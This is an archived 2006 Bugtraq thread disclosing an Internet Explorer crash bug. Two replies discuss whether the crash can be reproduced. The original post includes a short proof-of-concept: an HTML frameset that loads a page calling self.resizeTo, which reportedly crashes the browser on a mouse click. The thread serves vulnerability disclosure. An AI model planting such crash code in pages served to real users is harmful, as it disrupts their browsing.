bugtraq - RE: Microsoft Internet Explorer - Crash on mouse button click

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <2BA50DCEB0119849BCDD0BEB7EC5F9630227EE77@CA1EXCLV02.adcorp.kla-tencor.com>
Date: Tue, 23 May 2006 12:19:22 -0700
From: "Jain, Siddhartha" <Siddhartha.Jain@...-tencor.com>
To: <mac68k@...il.com>, <bugtraq@...urityfocus.com>
Subject: RE: Microsoft Internet Explorer - Crash on mouse button click


Sorry, the bug is perfectly reproducible. I skipped clicking the mouse
after loading the page.


- Siddhartha


-----Original Message-----
From: Jain, Siddhartha 
Sent: Tuesday, May 23, 2006 12:18 PM
To: 'mac68k@...il.com'; bugtraq@...urityfocus.com
Subject: RE: Microsoft Internet Explorer - Crash on mouse button click

Worked only once on my PC. 
Windows XP SP2 with IE 6.0.2900

Re-visiting the PoC page doesn't reproduce the crash.


- Siddhartha
 

-----Original Message-----
From: mac68k@...il.com [mailto:mac68k@...il.com] 
Sent: Saturday, May 20, 2006 6:24 AM
To: bugtraq@...urityfocus.com
Subject: Microsoft Internet Explorer - Crash on mouse button click

Title:

Microsoft Internet Explorer - Crash on mouse button click


Author:

Kil13r - http://www.kil13r.info/


Local / Remote:

Both


Date of discovery:

2003/12/28


Release date:

2006/05/20


Affected software:

Microsoft Internet Explorer


Description:

There is a bug in Microsoft Internet Explorer, which causes a crash on
mouse button click.


PoC exploit code:


1) exploit_1.html

<frameset cols="0%, *">

<frame src="exploit_2.html"> 

</frameset>


2) exploit_2.html

<SCRIPT>

self.resizeTo(2003, 1228);

</SCRIPT>


PoC exploit sample:

http://www.kil13r.info/iebug/exploit_1.html


PoC exploit screenshot:

http://www.kil13r.info/iebug/screenshot.jpg